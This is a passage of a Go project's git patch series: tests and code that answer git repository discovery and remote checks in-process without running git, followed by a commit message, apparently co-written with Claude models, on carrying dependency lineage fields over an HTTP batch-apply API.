false\n\tlogallrefupdates = true\n" + +// TestDiscoverGitFromMatchesRevParse is the equivalence contract: wherever +// in-process discovery answers, its answer is byte-for-byte what `git +// rev-parse --git-dir --git-common-dir --show-toplevel` prints there. +func TestDiscoverGitFromMatchesRevParse(t *testing.T) { + f := newDiscoveryFixture(t) + for _, tc := range []struct{ name, dir string }{ + {"repo top", f.main}, + {"repo subdir", filepath.Join(f.main, "a", "b")}, + {"repo first-level subdir", filepath.Join(f.main, "a")}, + {"linked worktree top", f.worktree}, + {"linked worktree subdir", filepath.Join(f.worktree, "w")}, + {"linked worktree with relative gitfile", f.relWorktree}, + {"linked worktree with gitfile through a symlink", f.symWorktree}, + {"submodule top", f.submodule}, + {"submodule subdir", filepath.Join(f.submodule, "s")}, + {"nested repo top", f.nested}, + {"nested repo subdir", filepath.Join(f.nested, "deep")}, + {"symlinked path to repo top", filepath.Join(f.root, "link")}, + {"symlinked path to repo subdir", filepath.Join(f.root, "link", "a", "b")}, + // No ancestor of a fresh temp directory is a repository, so this is + // answered in-process (by the walk reaching / or a mount boundary). + {"no repository", filepath.Join(f.root, "norepo", "x")}, + {"config with a UTF-8 BOM", repoWithRawConfig(t, f.env, "\xef\xbb\xbf"+plainRepoConfig)}, + {"config with CRLF and comments", repoWithRawConfig(t, f.env, + "# leading comment\r\n[core] ; header comment\r\n\tbare = false # trailing\r\n[remote \"origin\"]\r\n\turl = \"/x y\"\r\n")}, + } { + t.Run(tc.name, func(t *testing.T) { + got, ok := discoverGitFrom(tc.dir) + if !ok { + t.Fatalf("discoverGitFrom(%s) declined; want an in-process answer", tc.dir) + } + if want := gitRevParse(t, f.env, tc.dir); got != want { + t.Fatalf("discoverGitFrom(%s) = %+v, git rev-parse = %+v", tc.dir, got, want) + } + assertSameAsGit(t, f.env, tc.dir) + }) + } +} + +// TestDiscoverGitFromDeclinesUnmodeledLayouts covers the layouts in-process +// discovery must hand to git rather than guess, and checks that what startup +// then derives (from git) is git's answer. +func TestDiscoverGitFromDeclinesUnmodeledLayouts(t *testing.T) { + f := newDiscoveryFixture(t) + repoWithConfig := func(t *testing.T, args ...string) string { + t.Helper() + dir := filepath.Join(t.TempDir(), "r") + runFixtureGit(t, f.env, t.TempDir(), "init", "-q", dir) + runFixtureGit(t, f.env, dir, append([]string{"config"}, args...)...) + return dir + } + mkdir := func(t *testing.T, parts ...string) string { + t.Helper() + dir := filepath.Join(parts...) + if err := os.MkdirAll(dir, 0o750); err != nil { + t.Fatal(err) + } + return dir + } + invalidGitfile := mkdir(t, t.TempDir(), "badfile") + if err := os.WriteFile(filepath.Join(invalidGitfile, ".git"), []byte("not a gitfile\n"), 0o600); err != nil { + t.Fatal(err) + } + symlinkedDotGit := mkdir(t, t.TempDir(), "symlinked") + if err := os.Symlink(filepath.Join(f.main, ".git"), filepath.Join(symlinkedDotGit, ".git")); err != nil { + t.Fatal(err) + } + bare := filepath.Join(t.TempDir(), "bare.git") + runFixtureGit(t, f.env, t.TempDir(), "init", "-q", "--bare", bare) + bareSub := mkdir(t, bare, "sub") // below a bare repository: the walk meets HEAD+objects + commondirInDotGit := repoWithConfig(t, "core.filemode", "true") + if err := os.WriteFile(filepath.Join(commondirInDotGit, ".git", "commondir"), []byte(".\n"), 0o600); err != nil { + t.Fatal(err) + } + for _, tc := range []struct{ name, dir string }{ + {"core.worktree", repoWithConfig(t, "core.worktree", t.TempDir())}, + {"core.bare", repoWithConfig(t, "core.bare", "true")}, + {"extensions.worktreeConfig", repoWithConfig(t, "extensions.worktreeConfig", "true")}, + {"include directive", repoWithConfig(t, "include.path", "/dev/null")}, + // Git skips a leading BOM and honors the section after it. + {"BOM then core.worktree", repoWithRawConfig(t, f.env, "\xef\xbb\xbf[core]\n\tworktree = "+t.TempDir()+"\n")}, + {"header with inner spaces", repoWithRawConfig(t, f.env, "[ core ]\n\tbare = false\n")}, + {"header with leading whitespace", repoWithRawConfig(t, f.env, " [core]\n\tbare = false\n")}, + {"malformed key line", repoWithRawConfig(t, f.env, plainRepoConfig+"!!! = x\n")}, + {"key before any section", repoWithRawConfig(t, f.env, "bare = false\n"+plainRepoConfig)}, + {"key on the header line", repoWithRawConfig(t, f.env, "[core] bare = false\n")}, + {"escaped value", repoWithRawConfig(t, f.env, plainRepoConfig+"[alias]\n\tx = \"a\\tb\"\n")}, + {"unterminated quote", repoWithRawConfig(t, f.env, plainRepoConfig+"[alias]\n\tx = \"a\n")}, + {"continuation line", repoWithRawConfig(t, f.env, plainRepoConfig+"[alias]\n\tx = a \\\n b\n")}, + {"dotted section", repoWithRawConfig(t, f.env, "[core.x]\n\ty = 1\n"+plainRepoConfig)}, + {"inside the git directory", filepath.Join(f.main, ".git", "refs")}, + {"bare repository", bare}, + {"below a bare repository", bareSub}, + {"commondir inside .git", commondirInDotGit}, + {"invalid gitfile", invalidGitfile}, + {"symlinked .git", symlinkedDotGit}, + } { + t.Run(tc.name, func(t *testing.T) { + if got, ok := discoverGitFrom(tc.dir); ok { + t.Fatalf("discoverGitFrom(%s) = %+v; want it to defer to git", tc.dir, got) + } + assertSameAsGit(t, f.env, tc.dir) + }) + } +} + +// TestDiscoverGitInProcessUsesPhysicalCwd: Git walks from getcwd(2); a $PWD +// naming the same directory through another path (a symlink here; a bind +// mount alias in containers) must not change the walk. +func TestDiscoverGitInProcessUsesPhysicalCwd(t *testing.T) { + f := newDiscoveryFixture(t) + physical := filepath.Join(f.main, "a", "b") + alias := filepath.Join(f.root, "link", "a", "b") + t.Chdir(physical) + t.Setenv("PWD", alias) + if wd, err := os.Getwd(); err != nil || wd != alias { + t.Fatalf("os.Getwd() = %q, %v; this test needs it to report the $PWD alias %q", wd, err, alias) + } + if wd, err := processCwd(); err != nil || wd != physical { + t.Fatalf("processCwd() = %q, %v; want getcwd's %q", wd, err, physical) + } + for _, k := range discoveryEnvOverrides { + if _, set := os.LookupEnv(k); set { + t.Setenv(k, "") + if err := os.Unsetenv(k); err != nil { + t.Fatal(err) + } + } + } + got, ok := discoverGitInProcess() + if !ok { + t.Fatal("discoverGitInProcess declined") + } + if want := gitRevParse(t, f.env, physical); got != want { + t.Fatalf("discoverGitInProcess() = %+v, git rev-parse = %+v", got, want) + } +} + +// TestDiscoverGitInProcessDefersToGitEnvOverrides: GIT_DIR and friends +// redefine discovery, so their presence (even empty) sends it to git. +func TestDiscoverGitInProcessDefersToGitEnvOverrides(t *testing.T) { + f := newDiscoveryFixture(t) + t.Chdir(f.main) + for _, name := range discoveryEnvOverrides { + t.Run(name, func(t *testing.T) { + t.Setenv(name, "") + if got, ok := discoverGitInProcess(); ok { + t.Fatalf("with %s set, discoverGitInProcess() = %+v; want it to defer to git", name, got) + } + }) + } +} + +// TestGitContextInProcessMatchesGitSubprocess checks the cached context end +// to end: what bd's startup now derives without git equals what it derived +// from the git subprocess, for each discovery layout. +func TestGitContextInProcessMatchesGitSubprocess(t *testing.T) { + f := newDiscoveryFixture(t) + for _, k := range discoveryEnvOverrides { + if _, set := os.LookupEnv(k); set { + t.Setenv(k, "") + if err := os.Unsetenv(k); err != nil { + t.Fatal(err) + } + } + } + for _, dir := range []string{ + f.main, filepath.Join(f.main, "a", "b"), f.worktree, filepath.Join(f.worktree, "w"), + f.submodule, filepath.Join(f.nested, "deep"), + } { + t.Run(strings.TrimPrefix(dir, f.root), func(t *testing.T) { + t.Chdir(dir) + raw, ok := discoverGitInProcess() + if !ok { + t.Fatalf("discoverGitInProcess declined in %s", dir) + } + got := gitContextFromRevParse("", raw) + want := loadGitContext("", f.env) + if got.err != nil || want.err != nil { + t.Fatalf("errors: in-process %v, git %v", got.err, want.err) + } + if got.gitDirRaw != want.gitDirRaw || got.commonDir != want.commonDir || + got.repoRoot != want.repoRoot || got.isWorktree != want.isWorktree { + t.Fatalf("in-process %+v, git %+v", got, want) + } + }) + } +} + +// isolateGitConfigEnv points git and the in-process readers at the same, +// controlled config files: no system config, an empty global file. +func isolateGitConfigEnv(t *testing.T) (global string) { + t.Helper() + for _, kv := range os.Environ() { + name, _, _ := strings.Cut(kv, "=") + if strings.HasPrefix(name, "GIT_") { + t.Setenv(name, "") + if err := os.Unsetenv(name); err != nil { + t.Fatal(err) + } + } + } + home := t.TempDir() + t.Setenv("HOME", home) + t.Setenv("XDG_CONFIG_HOME", filepath.Join(home, "xdg")) + t.Setenv("GIT_CONFIG_NOSYSTEM", "1") + global = filepath.Join(home, "global.gitconfig") + if err := os.WriteFile(global, nil, 0o600); err != nil { + t.Fatal(err) + } + t.Setenv("GIT_CONFIG_GLOBAL", global) + return global +} + +func gitRemoteListsAny(t *testing.T, dir string) bool { + t.Helper() + cmd := exec.Command("git", "remote") + cmd.Dir = dir + out, err := cmd.Output() + return err == nil && strings.TrimSpace(string(out)) != "" +} + +// TestHasRemoteInProcessMatchesGitRemote: wherever HasRemoteInProcess +// answers, it is what `git remote` (the auto-backup probe) reports. +func TestHasRemoteInProcessMatchesGitRemote(t *testing.T) { + f := newDiscoveryFixture(t) + global := isolateGitConfigEnv(t) + withRemote := filepath.Join(t.TempDir(), "with-remote") + runFixtureGit(t, f.env, t.TempDir(), "init", "-q", withRemote) + runFixtureGit(t, f.env, withRemote, "remote", "add", "origin", "https://example.invalid/r.git") + pushDefaultOnly := filepath.Join(t.TempDir(), "push-default") + runFixtureGit(t, f.env, t.TempDir(), "init", "-q", pushDefaultOnly) + runFixtureGit(t, f.env, pushDefaultOnly, "config", "remote.pushDefault", "origin") + runFixtureGit(t, f.env, f.main, "remote", "add", "up", "https://example.invalid/m.git") + + setGlobal := func(t *testing.T, content string) { + t.Helper() + if err := os.WriteFile(global, []byte(content), 0o600); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.WriteFile(global, nil, 0o600) }) + } + for _, tc := range []struct { + name, dir, global string + wantDecline bool + }{ + {name: "no remote", dir: f.nested}, + {name: "local remote", dir: withRemote}, + {name: "remote.pushDefault only", dir: pushDefaultOnly}, + {name: "linked worktree sees the common config", dir: filepath.Join(f.worktree, "w")}, + {name: "submodule (origin in its own config)"}, + {name: "no repository", dir: filepath.Join(f.root, "norepo", "x")}, + {name: "remote in global config", dir: f.nested, global: "[remote \"g\"]\n\turl = /g\n"}, + {name: "include in global config", dir: f.nested, global: "[include]\n\tpath = /dev/null\n", wantDecline: true}, + {name: "malformed global config", dir: f.nested, global: "[ user ]\n", wantDecline: true}, + } { + t.Run(tc.name, func(t *testing.T) { + dir := tc.dir + if dir == "" { + dir = f.submodule + } + if tc.global != "" { + setGlobal(t, tc.global) + } + has, ok := HasRemoteInProcess(dir) + if ok == tc.wantDecline { + t.Fatalf("HasRemoteInProcess(%s) ok=%v, want ok=%v", dir, ok, !tc.wantDecline) + } + if want := gitRemoteListsAny(t, dir); ok && has != want { + t.Fatalf("HasRemoteInProcess(%s) = %v, git remote lists any = %v", dir, has, want) + } + }) + } + t.Run("GIT_CONFIG_PARAMETERS declines", func(t *testing.T) { + t.Setenv("GIT_CONFIG_PARAMETERS", "'remote.x.url'='/x'") + if _, ok := HasRemoteInProcess(f.nested); ok { + t.Fatal("HasRemoteInProcess answered despite command-line config") + } + }) + t.Run("process cwd", func(t *testing.T) { + t.Chdir(withRemote) + if has, ok := HasRemoteInProcess(""); !ok || !has { + t.Fatalf("HasRemoteInProcess(\"\") = %v, %v; want true, true", has, ok) + } + }) +} + +// TestCommonDirInProcessMatchesGit: the auto-backup RepoContext asks +// `git -C <.beads> rev-parse --git-common-dir`; the in-process answer has +// git's spelling. +func TestCommonDirInProcessMatchesGit(t *testing.T) { + f := newDiscoveryFixture(t) + isolateGitConfigEnv(t) + beadsDir := filepath.Join(f.main, ".beads") + if err := os.MkdirAll(beadsDir, 0o750); err != nil { + t.Fatal(err) + } + for _, dir := range []string{ + f.main, beadsDir, filepath.Join(f.main, "a", "b"), f.worktree, f.submodule, + filepath.Join(f.root, "link", "a"), filepath.Join(f.root, "norepo", "x"), + } { + t.Run(strings.TrimPrefix(dir, f.root), func(t *testing.T) { + got, isRepo, ok := CommonDirInProcess(dir) + if !ok { + t.Fatalf("CommonDirInProcess(%s) declined", dir) + } + cmd := exec.Command("git", "-C", dir, "rev-parse", "--git-common-dir") + out, err := cmd.Output() + if (err == nil) != isRepo { + t.Fatalf("CommonDirInProcess(%s) isRepo=%v, git err=%v", dir, isRepo, err) + } + if want := strings.TrimSpace(string(out)); isRepo && got != want { + t.Fatalf("CommonDirInProcess(%s) = %q, git = %q", dir, got, want) + } + }) + } +} diff --git a/internal/git/discover_other.go b/internal/git/discover_other.go new file mode 100644 index 000000000..231616c9b --- /dev/null +++ b/internal/git/discover_other.go @@ -0,0 +1,20 @@ +//go:build !linux + +package git + +// discoverGitInProcess is linux-only: elsewhere path case-folding (darwin, +// windows) and ownership semantics (windows) make an exact in-process answer +// harder to prove, so discovery always runs git. +func discoverGitInProcess() (revParseResult, bool) { + return revParseResult{}, false +} + +// CommonDirInProcess is linux-only; see discoverGitInProcess. +func CommonDirInProcess(string) (commonDir string, isRepo, ok bool) { + return "", false, false +} + +// HasRemoteInProcess is linux-only; see discoverGitInProcess. +func HasRemoteInProcess(string) (has, ok bool) { + return false, false +} diff --git a/internal/git/gitconfig_linux.go b/internal/git/gitconfig_linux.go new file mode 100644 index 000000000..ea786b373 --- /dev/null +++ b/internal/git/gitconfig_linux.go @@ -0,0 +1,109 @@ +//go:build linux + +package git + +import ( + "bytes" + "os" + "regexp" + "strings" +) + +// gitConfigEntry is one key line of a git config file, as scanGitConfig +// understood it. +type gitConfigEntry struct { + section string // lower-cased section name + subsection *string // nil for [section]; case preserved + key string // lower-cased variable name + hasValue bool // false for a bare "key" line (boolean true) + rawValue string // value text after '=', as written, comment included + value string // rawValue without its comment, trimmed and unquoted +} + +var ( + gitConfigHeader = regexp.MustCompile(`^\[([A-Za-z0-9-]+)(?: "([^"\\]*)")?\][ \t]*(?:[#;].*)?$`) + gitConfigKeyLine = regexp.MustCompile(`^[ \t]*([A-Za-z][A-Za-z0-9-]*)[ \t]*(?:=(.*)|(?:[#;].*)?)$`) + gitConfigCommentLn = regexp.MustCompile(`^[ \t]*(?:[#;].*)?$`) +) + +// scanGitConfig reads a git config file with a deliberately narrow grammar +// and calls visit for each key line; it returns false (the caller then asks +// git) when the file is unreadable, a visit returns false, or ANY line falls +// outside that grammar — Git might honor such a line differently or refuse +// the file. A missing file is an empty config, as for Git. +// +// Understood: a UTF-8 BOM at the start of the file (Git skips it), CRLF line +// endings, blank and comment lines, "[section]" and `[section "sub"]` +// headers at the start of a line (optionally followed by a comment), and +// "key", "key = value" lines inside a section. Values containing a backslash +// or an odd number of double quotes (escapes, continuations, unterminated +// strings) are not understood. +func scanGitConfig(path string, visit func(gitConfigEntry) bool) bool { + data, err := os.ReadFile(path) // #nosec G304 -- a git config file Git itself would read + if os.IsNotExist(err) { + return true + } + if err != nil || bytes.IndexByte(data, 0) >= 0 { + return false + } + text := strings.TrimPrefix(string(data), "\xef\xbb\xbf") + section, haveSection := "", false + var subsection *string + for _, line := range strings.Split(text, "\n") { + line = strings.TrimSuffix(line, "\r") + if strings.ContainsRune(line, '\r') { + return false + } + if gitConfigCommentLn.MatchString(line) { + continue + } + if m := gitConfigHeader.FindStringSubmatch(line); m != nil { + section, haveSection = strings.ToLower(m[1]), true + subsection = nil + if strings.Contains(line[:strings.IndexByte(line, ']')], `"`) { + sub := m[2] + subsection = &sub + } + continue + } + m := gitConfigKeyLine.FindStringSubmatchIndex(line) + if m == nil || !haveSection { + return false + } + e := gitConfigEntry{section: section, subsection: subsection, key: strings.ToLower(line[m[2]:m[3]])} + if m[4] >= 0 { + e.hasValue = true + e.rawValue = line[m[4]:m[5]] + value, ok := parseGitConfigValue(e.rawValue) + if !ok { + return false + } + e.value = value + } + if !visit(e) { + return false + } + } + return true +} + +// parseGitConfigValue strips a trailing comment, surrounding whitespace and +// balanced double quotes from a value it fully understands. +func parseGitConfigValue(raw string) (string, bool) { + if strings.ContainsRune(raw, '\\') || strings.Count(raw, `"`)%2 != 0 { + return "", false + } + var b strings.Builder + inQuote := false + for _, c := range raw { + switch { + case c == '"': + inQuote = !inQuote + continue + case !inQuote && (c == '#' || c == ';'): + return strings.TrimSpace(b.String()), true + } + b.WriteRune(c) + } + return strings.TrimSpace(b.String()), true +} diff --git a/internal/git/gitdir.go b/internal/git/gitdir.go index 31019d7b4..133ed8203 100644 --- a/internal/git/gitdir.go +++ b/internal/git/gitdir.go @@ -88,10 +88,36 @@ func canonicalPinPath(p string) string { // initGitContext populates the gitContext with a single git call. // This is called once per process via sync.Once. +// +// The process-wide context is the one every bd invocation resolves at startup +// (beads directory discovery), so it first tries discoverGitInProcess, which +// answers the common layouts — an ordinary repository, a linked worktree, a +// submodule, no repository at all — from the filesystem with the exact output +// `git rev-parse --git-dir --git-common-dir --show-toplevel` would print, and +// declines (falling back to that subprocess) for anything it cannot prove +// equivalent: GIT_DIR-style overrides, repository config that moves the work +// tree, ownership that would engage safe.directory, and so on. func initGitContext() { + if raw, ok := discoverGitInProcess(); ok { + gitCtx = gitContextFromRevParse("", raw) + return + } gitCtx = loadGitContext("", nil) } +// revParseResult is the answer to `git rev-parse --git-dir --git-common-dir +// --show-toplevel`, in Git's own spelling, or notRepo when Git would report +// that the directory is not inside a repository. +type revParseResult struct { + gitDir, commonDir, topLevel string + notRepo bool + notRepoErr error // why, when notRepo; nil means errNotGitRepository +} + +// errNotGitRepository stands in for git's exit status when in-process +// discovery establishes that there is no repository to find. +var errNotGitRepository = errors.New("no .git found in the working directory or any parent") + func loadGitContext(workDir string, env []string) gitContext { var ctx gitContext // Get all three values with a single git call @@ -116,10 +142,29 @@ func loadGitContext(workDir string, env []string) gitContext { ctx.err = fmt.Errorf("unexpected git rev-parse output: got %d lines, expected 3", len(lines)) return ctx } + return gitContextFromRevParse(workDir, revParseResult{ + gitDir: strings.TrimSpace(lines[0]), + commonDir: strings.TrimSpace(lines[1]), + topLevel: strings.TrimSpace(lines[2]), + }) +} - ctx.gitDirRaw = strings.TrimSpace(lines[0]) - commonDirRaw := strings.TrimSpace(lines[1]) - repoRootRaw := strings.TrimSpace(lines[2]) +// gitContextFromRevParse derives the cached context from rev-parse output, +// whichever of git or discoverGitInProcess produced it, so both paths share +// one normalization. +func gitContextFromRevParse(workDir string, raw revParseResult) gitContext { + var ctx gitContext + if raw.notRepo { + reason := raw.notRepoErr + if reason == nil { + reason = errNotGitRepository + } + ctx.err = fmt.Errorf("not a git repository: %w", reason) + return ctx + } + ctx.gitDirRaw = raw.gitDir + commonDirRaw := raw.commonDir + repoRootRaw := raw.topLevel // Convert commonDir to absolute for reliable comparison absCommon, err := absoluteGitPath(workDir, commonDirRaw) From 533f95295ac2583502e12ba65cc00c2e5ba22276 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 01:05:39 +0000 Subject: [PATCH 068/213] =?UTF-8?q?feat(httpclient):=20BatchApplier=20over?= =?UTF-8?q?=20HTTP=20=E2=80=94=20handshake=20cap,=20dep=5Fadd=20lineage=20?= =?UTF-8?q?on=20the=20wire,=20gc=20mappings=20(S5)=20(#7265)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(httpclient): carry DepAddItem.HasSpawner/ThreadID over the wire The http leg's batchApply wire shape dropped a dep_add item's HasSpawner and ThreadID fields -- an edit the caller believed landed. Extend the wire body (ApplyDepAddItem.has_spawner/thread_id), gate sending either field on a new additive behavior capability (issues.batchApply.depAddLineage / CapBatchApplyDepAddLineage) so a client refuses locally before dialing an older server instead of silently dropping graph lineage, and wire the storage-layer spawner-id stamping (StampWaitsForSpawnerID) through both the dolt and uow legs that already had the fields but never stamped them. wire_revision and min_client are unchanged; the golden digest and openapi spec are regenerated. Also fixes three generic bijection/vocabulary gates this change was missing: write_ledger_test.go's applyBatch/item/dep_add carriage table, and the literal behaviorCapabilities lists in internal/httpapi/server_test.go and internal/httpclient/wire/vocabulary_test.go. Co-Authored-By: Claude Sonnet 5 * test(httpclient/wire): pin the item-count gate at 356 items Add TestApplyBatchAt356ItemsWithoutTheCapabilityRefusesBeforeDialing, exercising internal/storage/batchfixtures.Shape356's exact item count -- the design's primary measured large-batch-apply shape -- rather than only the floor+1/ceiling+1 boundaries the existing cases pin. The gate is content-agnostic (it never looks past len(body.Items)), so a synthetic plan here is behaviorally identical to a real Shape356 plan for this one check; realistic-content coverage follows in the next commit. Co-Authored-By: Claude Sonnet 5 * test(httpclient): prove a 356-item Shape356 plan commits atomically or leaves zero rows Add two tests against the real served stack using batchfixtures.Shape356's realistic, heterogeneous content (102 creates, 136 blocks edges, 102 tracks-to-root edges, 16 assign updates): - TestServedBatchApplyShape356CommitsAtomically applies the full plan once and verifies every create landed with a bound key, matching the issues table row-for-row. - TestServedBatchApplyShape356PlusAStaleGuardLeavesZeroRows appends a 357th item guarding the pre-existing root issue with a deliberately stale ExpectedVersion. Because the root is untouched by the other 356 items, this exercises the real server-side precondition_failed round trip (rather than the static same-request-row ErrValidation rule), asserting errors.Is(err, issueops.ErrVersionMismatch) and that none of the 356 creates landed -- the "never chunk" ceiling: an all-or-nothing request that fails on its last item must leave nothing behind. Co-Authored-By: Claude Sonnet 5 * test(httpclient): close S5 review HIGH findings (lineage gate, thread_id, gc mappings) 2026-10 Opus review on the S5 batch-apply slice found the wire change correct but coverage missing: - HIGH-1: refuseUnservedDepAddLineage (batchapplier.go) had no coverage at all -- deleting it passed every existing test. Add a test pinning that HasSpawner or ThreadID on a server without issues.batchApply.depAddLineage refuses *storage.ErrUnsupported before dialing, and that a plan touching neither field still dials. - HIGH-2: thread_id was never asserted end to end. Add RunBatchApplyCarriesThreadIDOntoTheStoredEdge to the shared conformance package, wire it onto the dolt, embeddeddolt and uow legs, and add the http leg's own case (TestServedBatchApplyCarriesThreadIDOntoTheStoredEdge), which is the one case that proves the field survives both the client's encode and the server's decode at once. - HIGH-3: DESIGN Sec 3.8 ("Guarded writes: no new roles") documents two gc mappings onto BatchApplier that had no coverage: an update carrying a metadata patch plus ExpectedVersion followed by a close in one request (CloseWithMetadataIfMatch, atomic -- a stale version leaves zero changes), and a keyed create/MetadataRefs/dep_add (parent-child included)/trailing-update plan (ApplyGraphPlan). Document both compositions on the BatchApplier interface and add http-leg tests for each. Mutation-verified: removing the lineage gate call, dropping thread_id on the client's encode, and dropping it on the server's decode each now fail a test that previously passed unconditionally. Co-Authored-By: Claude Sonnet 5 * fix(httpclient): nil-guard snapshot consumers, fix spec wording, sync Bazel 2026-10 Opus review MED/LOW findings on the S5 batch-apply slice: - LOW-6: Store.snapshot returns (nil, nil) when a Store has neither a wire nor a cached handshake. Store.Counter() does not call roleWire first (unlike Sweeper/BatchApplier), so this is reachable through the ordinary public accessor and a scoped count would panic on snap.Capabilities. Nil-guard every snapshot() consumer (batchapplier.go, counter.go, sweeper.go) so a nil snapshot is treated as "nothing advertised" and falls through to the capability refusal. Add TestCounterRefusesScopeGracefullyWithNoTransportAndNoSnapshot, mutation-verified to panic without the guard. - LOW-7: the ApplyDepAddItem spec comment said an old server would "silently ignore" has_spawner/thread_id; it answers its own 400 for an unknown member. Fix the wording and regenerate apigen/types.gen.go. - MED-4: internal/httpclient/BUILD.bazel was missing served_batch_apply_large_test.go, expected_revision_contract_test.go, served_dualwrite_history_test.go and the //internal/storage/batchfixtures dep. Sync with gazelle (confirmed idempotent) and go_srcs.py --check. Co-Authored-By: Claude Sonnet 5 * fix(storage): carry thread_id on a same-type dep re-add; bound batch thread_id A same-type re-add of an existing dependency compared and rewrote only metadata, so on both write legs (issueops.addDependencyInTx and the uow dependency repository) a re-add naming a new ThreadID was read as change-free and the thread was dropped, and a metadata-plus-thread re-add stored the metadata without the thread. Both arms now read the stored thread_id through one shared rule, issueops.ReAddedDependencyThread: a named thread the row does not carry is a change (UPDATE, replacement-edge journal entry, exactly one version, #5898 leg 2), and a re-add naming no thread keeps the stored one, so callers that never carry a thread cannot erase it. The journal's EventDep has no thread member, so a thread-only re-add journals the same payload as the original add; the source's version snapshot is what records the new thread, and the comments on both arms now say so instead of promising a complete replacement edge. planApplyBatchDepAdd bounds DepAddItem.ThreadID with CheckFieldLen, so an over-long thread id is ErrValidation before any database work on every leg, as the http leg's decode already refuses it, instead of an opaque mid-transaction "string too long" on the local legs. Only the length bound is shared: the http leg's control-character refusal stays http-only. The HasSpawner/ThreadID docs now name the producer that actually sets HasSpawner (an embedder lowering a graph plan, e.g. gc's ApplyGraphPlan mapping) instead of bd create --graph, and drop the CHANGELOG reference that had no entry behind it. New conformance cases, wired on dolt, embeddeddolt, uow and served: RunBatchApplyCarriesThreadIDOntoAnExistingEdge, RunBatchApplyRefusesAThreadIDLongerThanItsColumn and RunDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * ci(shards): add the re-add thread test to the embedded storage shard manifest Co-Authored-By: Claude Opus 5.5 (1M context) * ci: trigger the first PR CI run now that the base is main Co-Authored-By: Claude Opus 5.5 (1M context) * fix(httpclient): gate has_spawner to waits-for edges; refuse empty thread_id Review iteration 1 fix-up for #7265 (synthesis F1, F2, F4, F5, F6, F7). F2: the client's CapBatchApplyDepAddLineage gate refused HasSpawner on every edge type, but the role reads the flag on a waits-for edge only (StampWaitsForSpawnerID is a no-op off one). An embedder plan setting it on, say, a blocks edge works against every existing server, yet this client refused it during a mixed-version rollout. depAddNamesSpawner now holds the role's own rule: the flag is gated and encoded on a waits-for edge only, and dropped elsewhere, which loses nothing the role would store. ThreadID stays gated on every edge type, since a thread is stored on all of them. The "spawner flag on any other edge type" subtest is restored to an unadvertising server and now also asserts the flag is dropped from the body, and TestApplyBatchRefusesUnservedDepAddLineageBeforeDialing gains a ThreadID-on-blocks case. The W-DepAddItem.HasSpawner ledger row and the regenerated engdocs/design/http-divergence-ledger.md say the same. F5: the document gives thread_id minLength: 1, but the decoder read an empty string as no thread. applyDepAddItem now refuses a present, empty thread_id with 400 invalid_value naming items[i].dep_add.thread_id, as it does an empty type; an absent one still names no thread. New TestApplyBatchRefusesAnEmptyThreadID; the documented-body test now forwards has_spawner and thread_id as well. F1: bd create --graph does set HasSpawner (buildGraphApplyBatchRequest, on the embedded and proxied legs, since #7209), so the DepAddItem doc names both producers again and the conformance doc's CHANGELOG pointer is restored; the [Unreleased] entry behind it is on the base. F4: the CapBatchApplyDepAddLineage comment said an older server would silently drop the members; it answers either one with 400 invalid_argument/unknown_parameter. F6: the create-edge ledger comment said no operation publishes a thread member; batch apply's dep_add item now does. F7: TestServedBatchApplyGcApplyGraphPlan adds a waits-for item carrying HasSpawner and ThreadID and reads the stored row back, pinning metadata.spawner_id to the resolved spawner and the thread on the served leg. F3 (the journal's EventDep carries no thread member) is not addressed here. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Eddie the Engineer --- .../scripts/embedded-storage-test-shards.txt | 1 + backend/conformance/batch_apply_contract.go | 175 +++++++++++- .../conformance/dependency_editor_contract.go | 90 ++++++ backend/conformance/role_bundle_cases.go | 4 + engdocs/design/http-divergence-ledger.md | 6 +- internal/httpapi/apigen/types.gen.go | 12 +- internal/httpapi/batch_apply.go | 24 +- internal/httpapi/batch_apply_test.go | 30 +- internal/httpapi/routes.go | 13 + internal/httpapi/server_test.go | 3 +- internal/httpapi/spec/openapi.v0.yaml | 32 ++- .../httpapi/wireshape/testdata/golden.json | 12 + internal/httpclient/BUILD.bazel | 2 + internal/httpclient/batchapplier.go | 73 ++++- internal/httpclient/batchapplier_test.go | 154 ++++++++-- internal/httpclient/counter.go | 6 +- internal/httpclient/counts_test.go | 43 +++ internal/httpclient/encode/ledger.go | 23 +- .../served_batch_apply_large_test.go | 155 ++++++++++ .../httpclient/served_batch_apply_test.go | 268 +++++++++++++++++- .../httpclient/served_memories_deps_test.go | 6 +- internal/httpclient/sweeper.go | 14 +- internal/httpclient/wire/handshake.go | 10 + internal/httpclient/wire/vocabulary_test.go | 4 +- .../httpclient/wire/writes_batch_cap_test.go | 34 +++ internal/httpclient/write_ledger_test.go | 22 +- internal/storage/batch_apply.go | 10 +- .../storage/dolt/batch_apply_contract_test.go | 15 + .../dolt/dependency_commit_boundary_test.go | 14 +- .../dolt/dependency_editor_contract_test.go | 6 + internal/storage/domain/db/dependency.go | 37 ++- .../db/dependency_null_metadata_test.go | 8 +- .../embeddeddolt/batch_apply_contract_test.go | 9 + .../dependency_editor_contract_test.go | 6 + internal/storage/issueops/dependencies.go | 76 +++-- .../storage/issueops/dependencies_test.go | 49 +++- .../storage/uow/batch_apply_contract_test.go | 9 + .../uow/dependency_editor_contract_test.go | 1 + issueops/batchapplier.go | 45 ++- 39 files changed, 1353 insertions(+), 148 deletions(-) create mode 100644 internal/httpclient/served_batch_apply_large_test.go diff --git a/.github/scripts/embedded-storage-test-shards.txt b/.github/scripts/embedded-storage-test-shards.txt index 439186a24..96250f443 100644 --- a/.github/scripts/embedded-storage-test-shards.txt +++ b/.github/scripts/embedded-storage-test-shards.txt @@ -528,6 +528,7 @@ 15 15 TestEmbeddedDependencyEditorAcceptsAnExternalTarget 15 15 TestEmbeddedDependencyEditorRefusesSelfDependencyWithTheProbeSkipped 15 15 TestEmbeddedDependencyEditorRepeatsWithinOneRequestCollapse +15 15 TestEmbeddedDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion 15 15 TestEmbeddedIssueOperationsUpdateLabelPatchOrdering 15 15 TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers 15 15 